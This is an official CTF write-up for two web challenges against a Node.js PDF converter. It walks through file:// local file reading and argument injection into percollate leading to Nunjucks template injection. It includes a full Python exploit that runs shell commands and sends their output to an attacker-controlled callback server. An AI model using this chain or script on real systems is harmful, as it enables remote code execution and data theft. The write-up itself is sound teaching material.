No Hack No CTF 2026 : solarfish category official writeup

我在 NHNC 中出的兩個 web 題目!

周一 7月 06 2026
2751 字 · 28 分鐘

#include

  • Description
#baby #web
Yet another PDF converter. easy enough, right?
http://txg.chal2.teagod.tech:8722/
> flag in source code.

explore

When we first open the website, we can see that it is a tool that takes a URL and converts the webpage into a PDF.

Let’s take a look at the website.

Terminal window
soar@universe-3 NHNC % curl -i http://txg.chal2.teagod.tech:8722/
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Sat, 04 Jul 2026 03:25:09 GMT
ETag: W/"337-19f2b289a08"
Content-Type: text/html; charset=UTF-8
Content-Length: 823
Date: Sun, 05 Jul 2026 19:42:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...

From the X-Powered-By: Express header, we can tell that the website is using the Express framework. Therefore, we can infer that the backend is likely written in Node.js.

Now, let’s try the PDF conversion feature.

Enter https://example.com and click Convert to PDF.

截圖 2026-07-06 03.46.29

Nice! The page was successfully fetched and converted into a PDF.

Research

Now that we understand the basic functionality of the website, we can guess that a PDF converter like this may be vulnerable to SSRF. However, let’s go back to the challenge description. It says that the flag is in the source code. So, we can try to read local files using the file:// protocol.

Let’s try reading /etc/passwd.

截圖 2026-07-06 03.50.35

It was blocked. But if we look carefully, the request was not even sent to the backend. The check is done on the frontend!

http://txg.chal2.teagod.tech:8722/main.js

...
form.addEventListener('submit', async event => {
event.preventDefault();
const body = new URLSearchParams(new FormData(form));
const url = String(body.get('url') || '').trim();
if (!/^https?:\/\//i.test(url)) {
result.textContent = 'URL must start with http:// or https://';
return;
}
if (captchaEnabled) {
const token = grecaptcha.getResponse(captchaWidgetId);
if (!token) {
result.textContent = 'Please complete the captcha.';
return;
}
body.set('g-recaptcha-response', token);
}
result.textContent = 'Converting...';
const response = await fetch('/convert', {
method: 'POST',
body
});
...

We can bypass this by using Burp Suite to intercept the request and modify the parameters, since the challenge uses reCAPTCHA. Alternatively, we can simply disable that JavaScript check in the browser.

截圖 2026-07-06 04.16.49

截圖 2026-07-06 03.54.12

Great! We now have arbitrary file read. At this point, we only need to read the source code.

However, after trying common paths such as /home/ctf, /app, /src, and so on, we find that none of them work. This is also part of the challenge. The actual webroot is located at: /app/{randomhex}.

To bypass this, we can use a symbolic link provided by Linux: /proc/self/cwd

This points to the current working directory of the running process.

Now we only need to figure out the source code filename. At this point, you can just guess that it is server.js.

Just kidding. Remember that we previously found that the website is using the Express framework. In a typical Node.js project, npm packages are used, which means there is usually a package.json file.

The package.json file often contains a scripts field, which tells us how the application is started.

So, we can read: file:///proc/self/cwd/package.json

截圖 2026-07-06 04.08.11

Exploit

There we go! Finally, we just need to read: file:///proc/self/cwd/server.js

And we can get the flag.

截圖 2026-07-06 04.21.06

NHNC{Well_done!_stay_tuned_for_the_next_challenge.}

Farewell, #include

  • Description
#medium #web
more features this time...
but it’s absolutely not that easy.
Instancer : http://txg.chal2.teagod.tech:8988/
execute /readflag to know how to get the flag.
any fuzzing tools or brute forcing of urls are not allowed.
> HINT :
You may have already noticed that you can obtain some useful information using the method from the previous challenge.
For this challenge, you can reuse that approach to gather information. It is recommended that you analyze everything locally first and confirm that you can achieve RCE before u restart again the instancer.

Revenge of the #include Challenge

explore

At first glance, it doesn’t look much different from the previous challenge it’s have same framework, same interface. The only difference is that this time, you need to get RCE.

The main change is the addition of two new features: PDF Converter without CSS and Markdown to PDF.

The HINT in the challenge description suggests that you can use the vulnerability from the previous challenge to leak the source code or gather some useful information. To save some time, I’ll just provide the files we’ll need here.

  • server.js
import crypto from 'node:crypto';
import fs from 'node:fs/promises';
import path from 'node:path';
import { spawn } from 'node:child_process';
import { createRequire as create_require } from 'node:module';
import { fileURLToPath as file_url_to_path } from 'node:url';
import express from 'express';
import { convert as convert_markdown } from 'mdpdf';
const __dirname = path.dirname(file_url_to_path(import.meta.url));
const require = create_require(import.meta.url);
const html_pdf_node = require('html-pdf-node');
const app = express();
const port = Number(process.env.PORT || 3001);
const percollate_cli = '/app/lib/percollate/cli.js';
const work_dir = '/tmp/work';
const output_dir = '/tmp/output';
app.use(express.urlencoded({ extended: false, limit: '256kb' }));
app.use(express.json({ limit: '256kb' }));
app.use(express.static(path.join(__dirname, 'public')));
function getallurl(input) {
return String(input || '')
.trim()
.split(/\s+/)
.filter(Boolean);
}
function create_job(converter, details = {}) {
const id = crypto.randomUUID();
const output_path = path.join(output_dir, `${id}.pdf`);
return {
id,
converter,
output_path,
...details
};
}
function run_percollate(user_input) {
return new Promise(resolve => {
const job = create_job('lite-pdf');
const urls = getallurl(user_input);
const args = [
'pdf',
'--no-sandbox',
'--output',
path.resolve(job.output_path),
...urls
];
const child = spawn(process.execPath, [percollate_cli, ...args], {
cwd: work_dir,
stdio: ['ignore', 'ignore', 'ignore'],
env: {
...process.env,
PUPPETEER_EXECUTABLE_PATH:
process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium'
}
});
const timer = setTimeout(() => {
child.kill('SIGKILL');
}, 150000);
child.on('close', code => {
clearTimeout(timer);
resolve({
id: job.id,
code,
output_path: job.output_path,
converter: job.converter
});
});
});
}
async function run_html_pdf_node(user_input) {
const [url] = getallurl(user_input);
const job = create_job('standard-pdf', {
url
});
try {
const pdf = await with_timeout(
html_pdf_node.generatePdf(
{ url: job.url },
{
format: 'A4',
path: job.output_path,
printBackground: true,
timeout: 80000,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-dev-shm-usage',
'--disable-gpu',
'--no-zygote',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-sync',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run'
]
}
),
90000,
'html-pdf-node conversion timeout'
);
try {
await fs.access(job.output_path);
} catch {
if (pdf) {
await fs.writeFile(job.output_path, pdf);
}
}
return {
id: job.id,
code: 0,
output_path: job.output_path,
converter: job.converter
};
} catch (error) {
console.error('standard-pdf conversion failed:', error);
return {
id: job.id,
code: 1,
output_path: job.output_path,
converter: job.converter
};
}
}
async function run_md_pdf(user_input) {
const [url] = getallurl(user_input);
const job = create_job('markdown-pdf', {
url
});
const source_path = path.join(output_dir, `${job.id}.md`);
try {
const markdown = await read_text_input(job.url);
await fs.writeFile(source_path, markdown);
await with_timeout(
convert_markdown({
source: source_path,
destination: job.output_path,
assetDir: path.dirname(source_path),
ghStyle: true,
defaultStyle: true,
noEmoji: true,
noHighlight: true,
waitUntil: 'networkidle0',
pdf: {
format: 'A4',
timeout: 30000
}
}),
45000,
'mdpdf conversion timeout'
);
return {
id: job.id,
code: 0,
output_path: job.output_path,
converter: job.converter
};
} catch (error) {
console.error('markdown-pdf conversion failed:', error);
return {
id: job.id,
code: 1,
output_path: job.output_path,
converter: job.converter
};
} finally {
await fs.unlink(source_path).catch(() => {});
}
}
function with_timeout(promise, ms, message) {
let timer;
return Promise.race([
promise,
new Promise((_, reject) => {
timer = setTimeout(() => reject(new Error(message)), ms);
})
]).finally(() => clearTimeout(timer));
}
async function read_text_input(input) {
const url = parse_url(input);
if (url?.protocol === 'file:') {
return fs.readFile(file_url_to_path(url), 'utf8');
}
if (url && (url.protocol === 'http:' || url.protocol === 'https:')) {
const response = await fetch(url.href);
if (!response.ok) {
throw new Error(`fetch failed: ${response.status}`);
}
return response.text();
}
return fs.readFile(input, 'utf8');
}
function parse_url(input) {
try {
return new URL(input);
} catch {
return null;
}
}
async function rejects_directory_listing(input) {
for (const item of getallurl(input)) {
let url;
try {
url = new URL(item);
} catch {
continue;
}
if (url.protocol !== 'file:') {
continue;
}
try {
if ((await fs.stat(file_url_to_path(url))).isDirectory()) {
return true;
}
} catch {
// ignore errors, treat as not a directory :)
}
}
return false;
}
app.post('/convert', async (req, res) => {
const urls = req.body.url || '';
const converter = String(req.body.converter || 'standard-pdf');
if (!String(urls).trim()) {
res.status(400).type('text/plain').send('missing url\n');
return;
}
if (await rejects_directory_listing(urls)) {
res.status(500).type('text/plain').send('conversion failed\n');
return;
}
let result;
if (converter === 'standard-pdf') {
result = await run_html_pdf_node(urls);
} else if (converter === 'lite-pdf') {
result = await run_percollate(urls);
} else if (converter === 'markdown-pdf') {
result = await run_md_pdf(urls);
} else {
res.status(400).type('text/plain').send('unknown converter\n');
return;
}
if (result.code !== 0) {
res.status(500)
.type('text/plain')
.send('conversion failed\n');
return;
}
try {
const pdf = await fs.readFile(result.output_path);
res.setHeader('Content-Type', 'application/pdf');
res.setHeader(
'Content-Disposition',
`attachment; filename="${result.id}.pdf"`
);
res.send(pdf);
} catch {
res.status(500)
.type('text/plain')
.send('conversion failed\n');
}
});
app.listen(port, '0.0.0.0', () => {
console.log(`challenge listening on ${port}`);
});
  • package.json
{
"name": "farewall include",
"version": "1.0.0",
"type": "module",
"private": true,
"scripts": {
"start": "node server.js"
},
"dependencies": {
"express": "^4.19.2",
"html-pdf-node": "file:../lib/html-pdf-node",
"mdpdf": "file:../lib/mdpdf"
}
}

From server.js, we can also identify the libraries used for the conversion:

PDF Converter = html-pdf-node
PDF Converter without CSS = percollate
Markdown to PDF = mdpdf

Research

First, there is an obvious argument injection in run_percollate within server.js.

function run_percollate(user_input) {
return new Promise(resolve => {
const job = create_job('lite-pdf');
const urls = getallurl(user_input);
const args = [
'pdf',
'--no-sandbox',
'--output',
path.resolve(job.output_path),
...urls
];
const child = spawn(process.execPath, [percollate_cli, ...args], {
cwd: work_dir,
stdio: ['ignore', 'ignore', 'ignore'],
env: {
...process.env,
PUPPETEER_EXECUTABLE_PATH:
process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium'
}
});
const timer = setTimeout(() => {
child.kill('SIGKILL');
}, 150000);
child.on('close', code => {
clearTimeout(timer);
resolve({
id: job.id,
code,
output_path: job.output_path,
converter: job.converter
});
});
});
}

To support converting multiple URLs at once, the developer directly passes user_input into the urls argument and forgets to use -- to terminate option parsing. As a result, we can inject arbitrary command-line arguments.

But here comes the question: what should we inject?!

research on the percollate package

percollate’s repository

From its README, we can see that: Percollate is a command-line tool that turns web pages into beautifully formatted PDF, EPUB, HTML or Markdown files.

Further down in the README, it provides even more options for users. After taking a closer look, we can saw something interesting!

截圖 2026-07-06 17.20.04

Ummm… Nunjucks! It’s a template engine!

If we trace through Percollate’s source code a little, we can see that once the --template option is used, Percollate directly passes the file we specify to Nunjucks for rendering!

const html = nunjucks.renderString(
await readFile(options.template || DEFAULT_TEMPLATE, 'utf8'),
{
filetype: 'html',
title:
options.title ||
(items.length === 1 ? items[0].title : 'Untitled'),
date: new Date(),
items,
style,
options: {
use_toc,
use_cover:
options.cover ||
(options.cover !== false &&
(options.title || items.length > 1))
}
}
);

This looks super dangerous! The official documentation for nunjucks.renderString also explicitly warns against rendering user-controlled content.

So, we can actually inject a template and turn this into SSTI.

I won’t go into the full RCE chain here, since there are already plenty of writeups and research on Nunjucks SSTI online.

Personally, I used items.constructor.constructor to get access to the Function constructor, which then allowed me to execute arbitrary js.

But there’s still one problem…

How are we supposed to write a file?

research on the mdpdf package

mdpdf’s repository

I’m curious if you’ve ever used this library before?! 截圖 2026-07-06 19.33.59

It’s actually really convenient. I use it all the time, whether I’m generating reports, or when HackMD’s free PDF export quota runs out. But I’m not sure if you’ve noticed this before: when you convert Markdown into a PDF, a temporary HTML file is usually generated first, and only then is the final PDF produced.

You can still think of it as a rendering pipeline. Markdown itself is just a plaintext markup syntax, so it first has to be converted into structured HTML. During this stage, things like layout, styling, and LaTeX rendering are also handled before the final PDF is generated.

So, we can reasonably assume that mdpdf probably has a similar feature as well. Let’s dig into the source code and see.

async function createPdf(html: string, options: MdPdfOptions): Promise<string> {
const tempHtmlPath = resolve(dirname(options.destination), '_temp.html');
let browser: Browser | null = null; // Initialize browser to null
try {
await writeFile(tempHtmlPath, html);
browser = await launch({
headless: true, // Use boolean instead of 'new' string
args: ['--no-sandbox', '--disable-setuid-sandbox'],
});
const page = (await browser.pages())[0];
await page.goto('file:' + tempHtmlPath, {
waitUntil: options.waitUntil ?? 'networkidle0',
});
// have to bypass by arguments
// custom title support
const targetTitle = options.pdf?.title
? options.pdf.title
: parsePath(options.source).name;
await page.evaluate((targetTitle) => {
// overwrite title to fix https://github.com/elliotblackburn/mdpdf/issues/211
document.title = targetTitle;
}, targetTitle);
const puppetOptions = getOptions(options);
await page.pdf(puppetOptions);
await browser.close();
browser = null; // Indicate browser is closed
if (options.debug) {
copyFileSync(tempHtmlPath, options.debug);
}
return options.destination;
} catch (error) {
// Ensure browser is closed even if an error occurs
if (browser) {
await browser.close();
}
// Re-throw the error to be handled by the caller
throw error;
} finally {
// Clean up temp file in case of error or success
try {
unlinkSync(tempHtmlPath);
} catch (e) {
// Ignore errors if the file doesn't exist or couldn't be deleted
}
}
}

Did you catch the important part?!

const tempHtmlPath = resolve(dirname(options.destination), '_temp.html');

This means that an _temp.html file will be created inside the working directory we specify.

At this point, things become much easier. We only need to host a malicious .md file on our own server. At the beginning of the file, we place our SSTI payload, and then append a request that causes mdpdf to spend some time waiting during the conversion process.

After that, we trigger another argument injection and set the --template option to /tmp/output/_temp.html.

At this point, we can fully control the contents of the HTML file and ultimately achieve RCE.

exploit

#!/usr/bin/env python3
import argparse
import http.server
import json
import queue
import socketserver
import threading
import urllib.parse
import urllib.request
def qjs(s):
return json.dumps(s)
def qnjk(s):
return (
s.replace("\\", "\\\\")
.replace("'", "\\'")
.replace("\n", "\\n")
)
def make_ssti(cmd, cb):
js = (
"const cp=process.getBuiltinModule('child_process');"
"const http=process.getBuiltinModule('http');"
"let r='';"
"try{"
f"r=cp.execSync({qjs(cmd)},{{encoding:'utf8',stdio:['ignore','pipe','pipe']}});"
"}catch(e){"
"if(e.stdout)r+=e.stdout.toString();"
"if(e.stderr)r+=e.stderr.toString();"
"r+='\\n[exit '+String(e.status ?? 'unknown')+']\\n';"
"}"
f"http.get({qjs(cb + '?d=')}+encodeURIComponent(r)).on('error',()=>{{}});"
"return r;"
)
return "{{ items.constructor.constructor('" + qnjk(js) + "')() }}"
def convert(base, converter, url):
data = urllib.parse.urlencode({
"converter": converter,
"url": url,
}).encode()
req = urllib.request.Request(
urllib.parse.urljoin(base, "/convert"),
data=data,
headers={"Content-Type": "application/x-www-form-urlencoded"},
method="POST",
)
with urllib.request.urlopen(req, timeout=90) as r:
return r.read()
def handler_for(payload, leaks, slow_hit, release_slow):
class Handler(http.server.BaseHTTPRequestHandler):
def log_message(self, *args):
pass
def do_GET(self):
u = urllib.parse.urlparse(self.path)
if u.path == "/payload.md":
host = self.headers.get("Host")
md = f"""# Quarterly PDF Report
<div>{payload}</div>
<img src="http://{host}/slow">
"""
body = md.encode()
self.send_response(200)
self.send_header("Content-Type", "text/markdown; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
return
if u.path == "/slow":
slow_hit.set()
release_slow.wait(30)
gif = (
b"GIF89a\x01\x00\x01\x00\x80\x00\x00"
b"\x00\x00\x00\xff\xff\xff,\x00\x00"
b"\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"
)
self.send_response(200)
self.send_header("Content-Type", "image/gif")
self.send_header("Content-Length", str(len(gif)))
self.end_headers()
self.wfile.write(gif)
return
if u.path == "/leak":
qs = urllib.parse.parse_qs(u.query)
leaks.put(qs.get("d", [""])[0])
self.send_response(204)
self.end_headers()
return
self.send_response(404)
self.end_headers()
return Handler
class ThreadedServer(socketserver.ThreadingTCPServer):
allow_reuse_address = True
daemon_threads = True
def main():
ap = argparse.ArgumentParser()
ap.add_argument("-t", "--target", default="http://127.0.0.1:5005")
ap.add_argument("-b", "--bind", default="0.0.0.0")
ap.add_argument("-p", "--port", type=int, default=31001)
ap.add_argument("--host", default="0.0.0.0")
ap.add_argument("-c", "--cmd", default="id")
args = ap.parse_args()
base = args.target.rstrip("/")
cb = f"http://{args.host}:{args.port}"
leaks = queue.Queue()
slow_hit = threading.Event()
release_slow = threading.Event()
payload = make_ssti(args.cmd, cb + "/leak")
handler = handler_for(payload, leaks, slow_hit, release_slow)
with ThreadedServer((args.bind, args.port), handler) as srv:
threading.Thread(target=srv.serve_forever, daemon=True).start()
print(f"[*] serving payload at {cb}/payload.md")
mdpdf_err = queue.Queue()
def hold_mdpdf():
try:
convert(base, "markdown-pdf", cb + "/payload.md")
except Exception as e:
mdpdf_err.put(e)
t = threading.Thread(target=hold_mdpdf, daemon=True)
t.start()
if not slow_hit.wait(15):
release_slow.set()
if not mdpdf_err.empty():
raise mdpdf_err.get()
raise RuntimeError("mdpdf never loaded /slow")
tpl = "/tmp/output/_temp.html"
index = "https://solarfish.me/"
print(f"[*] reusing template: {tpl}")
convert(
base,
"lite-pdf",
f"--no-hyphenate --template={tpl} {index}",
)
release_slow.set()
t.join(timeout=10)
out = leaks.get(timeout=10)
print("[+] output:")
print(out, end="" if out.endswith("\n") else "\n")
if __name__ == "__main__":
main()

Finally, we just need to host it on our own server, run the exploit, and get the FLAG!

NHNC{Farewell, my friend, promise me you won’t find another 0days next time.}

After All

This was my first time creating a challenge for No Hack No CTF, and probably also the first time I’ve ever made a challenge for this many people to play!

So first of all, I’d like to apologize! I’m still pretty inexperienced with a lot of things. For example, the challenge was originally supposed to have reCAPTCHA enabled. However, since the first challenge was blackbox and required some time for testing and exploration, I decided not to add it at first for the sake of player convenience.

Unfortunately, even though we had already announced that the challenge did not require any fuzzing, some players still used scanner tools. This caused the challenge to spawn a huge of Chromium instances, and the Docker container kept exploding. In the end, I had to add reCAPTCHA to #include challenge.

Putting that aside, the core idea behind these challenges came from some research I did last year. I wanted to turn it into a more complete exploitation experience and definitely not because I didn’t have enough challenge ideas.

In an era where AI is everywhere, using AI during CTFs is pretty much inevitable. But at the same time, I still wanted players to actually learn something from the challenge. That’s why the first challenge was designed as a blackbox challenge.

Once you obtain the source code, you can start working together with AI: analyze the code together, search for vulnerabilities together, and finally write the exploit together.

I really like that kind of collaborative feeling, hehe.

Anyway~ hope everyone had fun in this CTF :>


Thanks for reading!

No Hack No CTF 2026 : solarfish category official writeup

周一 7月 06 2026
2751 字 · 28 分鐘